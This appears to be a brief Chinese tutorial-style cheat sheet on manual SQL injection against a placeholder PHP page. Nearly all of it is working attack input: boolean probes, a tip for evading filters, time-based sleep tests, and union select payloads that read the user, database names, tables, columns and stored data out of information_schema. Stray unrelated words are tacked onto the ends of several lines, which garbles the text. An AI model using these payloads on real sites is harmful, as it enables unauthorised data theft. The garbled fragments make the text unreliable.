就是把用户输入的数据当作代码执行php
1.用户能控制输入
2.可以将程序本来执行的代码,拼接上用户输入的数据进行执行sql
例: http://www.xxx.com/new.php?id=1 http://www.xxx.com/new.php?id=2-1
and 1=1 页面正常
and 1=2 页面不正常
注:and 1=1 and 1=2 被拦截的可能性过高了
能够尝试 and -1=-1 and -1=-2或者直接 or sleep(5)数据库
页面后面加',看是否报错服务器
若是是数字型传参,能够尝试-1函数
order by 字段数 //显示报错则字段数为前面一个值code
and 1=2 union select 1,2,3,…… //能够将字段都写上去orm
查用户权限:union select 1,user(),3
查库:union select 1,database(),3
查表:union select 1,(select group_concat(table_name) from information_schema.tables where table_schema ='库名'),3
查字段:union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = '库名' and table_name = '表名'),3io
查数据:union select 1,(select group_concat(字段1,字段2) from 库名.表名),3table
group_concat(字段1,字段2) //返回由属于一组的列值链接组合而成的结果
ASCII(char) //返回字符的ASCII码值
DATABASE() //返回当前数据库名
USER()或SYSTEM_USER() //返回当前登录用户名
VERSION() //返回MySQL服务器的版本
SLEEP(n) //休眠n秒form